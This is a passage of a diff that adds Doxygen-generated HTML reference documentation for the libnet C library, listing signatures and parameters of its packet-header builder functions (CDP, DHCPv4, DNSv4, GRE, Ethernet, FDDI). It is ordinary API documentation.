+ <td class="mdname" nowrap> <em>cip</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>yip</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sip</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>gip</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>chaddr</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>sname</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>file</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a37" doxytag="libnet-functions.h::libnet_build_cdp" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_cdp </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>version</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ttl</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>value</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a Cisco Discovery Protocol (CDP) header. Cisco Systems designed CDP to aid in the network management of adjacent Cisco devices. The CDP protocol specifies data by using a type/length/value (TLV) setup. The first TLV can specified by using the functions type, length, and value arguments. To specify additional TLVs, the programmer could either use the payload interface or <a class="el" href="libnet-functions_8h.html#a78">libnet_build_data()</a> to construct them. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>version</em>&nbsp;</td><td>CDP version </td></tr>
+ <tr><td valign=top><em>ttl</em>&nbsp;</td><td>time to live (time information should be cached by recipient) </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill) </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>type of data contained in value </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>length of value arugment </td></tr>
+ <tr><td valign=top><em>value</em>&nbsp;</td><td>the CDP information string </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a78" doxytag="libnet-functions.h::libnet_build_data" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_data </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a generic libnet protocol header. This is useful for including an optional payload to a packet that might need to change repeatedly inside of a loop. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a79" doxytag="libnet-functions.h::libnet_build_dhcpv4" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_dhcpv4 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>opcode</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>htype</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>hlen</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>hopcount</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>xid</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>secs</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>flags</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>cip</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>yip</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sip</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>gip</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>chaddr</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>sname</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>file</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a58" doxytag="libnet-functions.h::libnet_build_dnsv4" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_dnsv4 </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>h_len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>id</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>flags</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>num_q</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>num_anws_rr</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>num_auth_rr</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>num_addi_rr</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an RFC 1035 version 4 DNS header. Additional DNS payload information should be specified using the payload interface. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>id</em>&nbsp;</td><td>DNS packet id </td></tr>
+ <tr><td valign=top><em>flags</em>&nbsp;</td><td>control flags </td></tr>
+ <tr><td valign=top><em>num_q</em>&nbsp;</td><td>number of questions </td></tr>
+ <tr><td valign=top><em>num_anws_rr</em>&nbsp;</td><td>number of answer resource records </td></tr>
+ <tr><td valign=top><em>num_auth_rr</em>&nbsp;</td><td>number of authority resource records </td></tr>
+ <tr><td valign=top><em>num_addi_rr</em>&nbsp;</td><td>number of additional resource records </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a83" doxytag="libnet-functions.h::libnet_build_egre" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_egre </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>fv</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>offset</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>key</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>seq</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Generic Routing Encapsulation (GRE - RFC 1701) is used to encapsulate any protocol. Hence, the IP part of the packet is usually referred as "delivery header". It is then followed by the GRE header and finally the encapsulated packet (IP or whatever). As GRE is very modular, the first GRE header describes the structure of the header, using bits and flag to specify which fields will be present in the header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>fv</em>&nbsp;</td><td>the 16 0 to 7: which fields are included in the header (checksum, seq. number, key, ...), bits 8 to 12: flag, bits 13 to 15: version. </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>which protocol is encapsulated (PPP, IP, ...) </td></tr>
+ <tr><td valign=top><em>sum</em>&nbsp;</td><td>checksum (0 for libnet to autofill). </td></tr>
+ <tr><td valign=top><em>offset</em>&nbsp;</td><td>byte offset from the start of the routing field to the first byte of the SRE </td></tr>
+ <tr><td valign=top><em>key</em>&nbsp;</td><td>inserted by the encapsulator to authenticate the source </td></tr>
+ <tr><td valign=top><em>seq</em>&nbsp;</td><td>sequence number used by the receiver to sort the packets </td></tr>
+ <tr><td valign=top><em>len</em>&nbsp;</td><td>size of the GRE packet </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a28" doxytag="libnet-functions.h::libnet_build_ethernet" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_ethernet </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>src</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds an Ethernet header. The RFC 894 Ethernet II header is almost identical to the IEEE 802.3 header, with the exception that the field immediately following the source address holds the layer 3 protocol (as opposed to frame's length). You should only use this function when libnet is initialized with the LIBNET_LINK interface. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>dst</em>&nbsp;</td><td>destination ethernet address </td></tr>
+ <tr><td valign=top><em>src</em>&nbsp;</td><td>source ethernet address </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>upper layer protocol type </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a30" doxytag="libnet-functions.h::libnet_build_fddi" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_fddi </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>fc</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>dst</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>src</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>dsap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ssap</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>cf</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>org</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int8_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>payload_s</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_t *&nbsp;</td>
+ <td class="mdname" nowrap> <em>l</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>libnet_ptag_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>ptag</em></td>
+ </tr>
+ <tr>
+ <td></td>
+ <td class="md">)&nbsp;</td>
+ <td class="md" colspan="2"></td>
+ </tr>
+
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Builds a Fiber Distributed Data Interface (FDDI) header. <dl compact><dt><b>Parameters:</b></dt><dd>
+ <table border="0" cellspacing="2" cellpadding="0">
+ <tr><td valign=top><em>fc</em>&nbsp;</td><td>class format and priority dst destination fddi address src source fddi address </td></tr>
+ <tr><td valign=top><em>dsap</em>&nbsp;</td><td>destination service access point </td></tr>
+ <tr><td valign=top><em>ssap</em>&nbsp;</td><td>source service access point </td></tr>
+ <tr><td valign=top><em>cf</em>&nbsp;</td><td>cf </td></tr>
+ <tr><td valign=top><em>org</em>&nbsp;</td><td>3 byte IEEE organizational code </td></tr>
+ <tr><td valign=top><em>type</em>&nbsp;</td><td>upper layer protocol </td></tr>
+ <tr><td valign=top><em>payload</em>&nbsp;</td><td>optional payload or NULL </td></tr>
+ <tr><td valign=top><em>payload_s</em>&nbsp;</td><td>payload length or 0 </td></tr>
+ <tr><td valign=top><em>l</em>&nbsp;</td><td>pointer to a libnet context </td></tr>
+ <tr><td valign=top><em>ptag</em>&nbsp;</td><td>protocol tag to modify an existing header, 0 to build a new one </td></tr>
+ </table>
+</dl>
+<dl compact><dt><b>Returns:</b></dt><dd>protocol tag value on success, -1 on error </dd></dl>
+ </td>
+ </tr>
+</table>
+<a class="anchor" name="a82" doxytag="libnet-functions.h::libnet_build_gre" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> libnet_ptag_t libnet_build_gre </td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>fv</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>type</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>sum</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>offset</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>key</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int32_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>seq</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
+ <td class="md" nowrap>u_int16_t&nbsp;</td>
+ <td class="mdname" nowrap> <em>len</em>, </td>
+ </tr>
+ <tr>
+ <td></td>
+ <td></td>
